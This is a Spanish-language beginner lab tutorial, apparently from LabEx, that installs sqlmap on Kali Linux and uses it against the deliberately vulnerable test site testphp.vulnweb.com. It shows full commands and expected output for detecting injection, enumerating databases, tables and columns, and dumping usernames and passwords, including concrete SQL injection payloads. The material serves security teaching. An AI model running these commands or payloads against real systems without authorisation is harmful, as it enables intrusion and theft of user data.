Introducción
En este laboratorio, aprenderás a identificar y explotar vulnerabilidades de inyección SQL utilizando Kali Linux y la potente herramienta sqlmap. A través de una serie de pasos guiados, detectarás una aplicación web vulnerable, enumerarás la estructura de su base de datos y extraerás información sensible. Todas las actividades se realizan dentro de un entorno seguro de VM de LabEx utilizando un contenedor de Kali Linux. Este laboratorio está diseñado para principiantes, proporcionando experiencia práctica en pruebas automatizadas de seguridad de aplicaciones web. Al abrir la terminal, te conectarás automáticamente a la shell del contenedor de Kali Linux, listo para comenzar.
Configuración del Entorno e Instalación de sqlmap
Tu entorno de laboratorio está preconfigurado para situarte automáticamente dentro de una shell de contenedor de Kali Linux al abrir la terminal. Tu primera tarea es preparar este entorno actualizando la lista de paquetes e instalando sqlmap, la herramienta principal para este laboratorio.
sqlmap es una herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL y la toma de control de servidores de bases de datos.
Primero, actualiza el índice del repositorio de paquetes. Esto asegura que puedas obtener la versión más reciente del software.
apt update
A continuación, instala sqlmap utilizando el siguiente comando. El parámetro -y confirma automáticamente la instalación.
apt install -y sqlmap
Este proceso puede tardar unos instantes. Una vez completada la instalación, verifica que sqlmap se haya instalado correctamente comprobando su versión.
sqlmap --version
Deberías ver una salida que muestra la versión instalada de sqlmap, lo que confirma que la herramienta está lista para ser utilizada.
Salida Esperada (el número de versión puede variar):
1.x.x#stable
Con sqlmap instalado y verificado, tu entorno está ahora preparado para los siguientes pasos, donde comenzarás a probar vulnerabilidades de inyección SQL en una aplicación web de prueba.
Detección de una Vulnerabilidad de Inyección SQL
Ahora que sqlmap está instalado, puedes comenzar a probar una aplicación web en busca de vulnerabilidades de inyección SQL. Para este laboratorio, utilizaremos un sitio web disponible públicamente, diseñado intencionalmente con vulnerabilidades para pruebas de seguridad. El primer paso en cualquier ataque de inyección SQL es identificar un parámetro vulnerable.
La URL de destino para este laboratorio es http://testphp.vulnweb.com/listproducts.php?cat=1. El parámetro cat=1 es un punto de entrada potencial para la inyección. Utilizaremos sqlmap para probar automáticamente este parámetro.
Ejecuta el siguiente comando para iniciar la prueba. El parámetro -u especifica la URL de destino. Utilizamos el parámetro --batch para que sqlmap se ejecute con sus respuestas predeterminadas a cualquier pregunta interactiva, haciendo que el proceso sea más rápido y no requiera intervención manual.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap realizará una serie de pruebas contra la URL. Analizará las respuestas para determinar si el parámetro cat es inyectable. Este proceso puede tardar uno o dos minutos mientras prueba varias técnicas de inyección SQL.
Una vez finalizado el escaneo, revisa la salida. Deberías encontrar una sección que confirme la vulnerabilidad.
Salida Esperada (truncada):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
La salida confirma que el parámetro cat es vulnerable a múltiples tipos de ataques de inyección SQL:
- Boolean-based blind: Utiliza lógica de verdadero/falso para extraer datos.
- Error-based: Explota los mensajes de error de la base de datos para revelar información.
- Time-based blind: Utiliza retrasos en las respuestas para confirmar la inyección.
- UNION query: Combina resultados de múltiples sentencias SELECT.
El escaneo también identifica que la base de datos de respaldo es MySQL versión 5.6 o superior, ejecutándose en un sistema Linux Ubuntu con Nginx y PHP. Esta información detallada de "huella digital" (fingerprinting) guía los siguientes pasos en el proceso de explotación.
Enumeración de Bases de Datos
Con la vulnerabilidad confirmada, el siguiente paso lógico es descubrir qué bases de datos existen en el servidor. Este proceso se denomina enumeración de bases de datos. Conocer los nombres de las bases de datos es esencial para navegar por la estructura de datos del servidor.
Utilizarás el parámetro --dbs con sqlmap para listar todas las bases de datos disponibles. El comando reutiliza los datos de la sesión del paso anterior, por lo que sqlmap no necesita volver a verificar la vulnerabilidad.
Ejecuta el siguiente comando:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
sqlmap explotará la vulnerabilidad para consultar el esquema de la base de datos y recuperar una lista de todos los nombres de las bases de datos. Observa que sqlmap reanuda desde la sesión guardada, por lo que no necesita volver a probar la vulnerabilidad.
Salida Esperada:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
La salida muestra dos bases de datos: acuart e information_schema.
information_schemaes una base de datos estándar en MySQL que almacena metadatos sobre todas las demás bases de datos. Es útil, pero normalmente no es el objetivo principal para el robo de datos.acuartparece ser una base de datos personalizada de la aplicación, la cual es probable que contenga los datos interesantes que estamos buscando, como información de usuarios o datos de la aplicación.
Ahora que tienes el nombre de la base de datos de la aplicación, puedes proceder a inspeccionar su contenido.
Enumeración de Tablas y Columnas
Después de identificar la base de datos acuart, tu siguiente objetivo es ver qué tablas contiene. Las tablas son donde se almacenan los datos reales. Una tabla llamada users o customers, por ejemplo, es un objetivo de alto valor.
Para listar las tablas en la base de datos acuart, utiliza el parámetro -D para especificar el nombre de la base de datos y el parámetro --tables para solicitar la lista de tablas.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch
Salida Esperada:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching tables for database: 'acuart'
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+-----------+
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
La salida revela varias tablas, siendo users una especialmente interesante. Vamos a investigar la tabla users más a fondo listando sus columnas. Para hacer esto, añade el parámetro -T para especificar el nombre de la tabla y el parámetro --columns.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch
Salida Esperada:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]
+---------+--------------+
| Column | Type |
+---------+--------------+
| name | varchar(100) |
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
+---------+--------------+
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
Las columnas uname (nombre de usuario) y pass (contraseña) son objetivos primordiales para la extracción de datos. Otras columnas interesantes incluyen email, cc (tarjeta de crédito) y phone para obtener información de clientes. Ahora tienes toda la información necesaria para volcar el contenido de estas columnas sensibles.
Extracción de Datos de una Tabla
Este es el paso final del ataque, donde extraerás los datos de la tabla objetivo. Basándote en los pasos anteriores, conoces la base de datos (acuart), la tabla (users) y las columnas de interés (uname, pass).
Para extraer los datos, utilizarás el parámetro --dump. Puedes especificar qué columnas extraer utilizando el parámetro -C para que el proceso sea más rápido y enfocado.
Ejecuta el siguiente comando para extraer los nombres de usuario y las contraseñas de la tabla users:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump --batch
sqlmap extraerá ahora los datos de las columnas especificadas y los mostrará en la terminal. También guardará los datos en un archivo CSV para su análisis posterior.
Salida Esperada:
[HH:MM:SS] [INFO] resuming back-end DBMS 'mysql'
[HH:MM:SS] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart'
Database: acuart
Table: users
[1 entry]
+-------+------+
| uname | pass |
+-------+------+
| test | test |
+-------+------+
[HH:MM:SS] [INFO] table 'acuart.users' dumped to CSV file '/root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
La salida muestra una entrada de usuario con el nombre de usuario test y la contraseña test. Esta extracción exitosa de datos demuestra el impacto crítico de las vulnerabilidades de inyección SQL:
- Brecha de Datos: Las credenciales sensibles de los usuarios quedan expuestas.
- Acceso no Autorizado: Estas credenciales podrían usarse para iniciar sesión en la aplicación.
- Violación de la Privacidad: La información personal se ve comprometida.
- Riesgo de Seguridad: La vulnerabilidad podría explotarse para acceder a otros datos o escalar privilegios.
Esto completa una secuencia típica de ataque de inyección SQL: detección → enumeración → explotación → extracción de datos.
También puedes ver los datos guardados leyendo el archivo CSV mencionado en la salida.
cat /root/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv
Salida Esperada:
uname,pass
test,test
Esto confirma que los datos han sido exfiltrados y guardados correctamente.
Resumen
En este laboratorio, has realizado con éxito un ataque de inyección SQL de extremo a extremo utilizando sqlmap en un entorno de Kali Linux. Comenzaste instalando sqlmap y luego lo utilizaste para detectar automáticamente una vulnerabilidad en una aplicación web real. Siguiendo un enfoque sistemático, enumeraste las bases de datos del servidor, listaste las tablas dentro de una base de datos objetivo, identificaste columnas sensibles y finalmente extrajiste las credenciales de usuario. Esta experiencia práctica te ha proporcionado una comprensión real de cómo se pueden utilizar herramientas automatizadas para encontrar y explotar uno de los fallos de seguridad web más comunes y críticos.


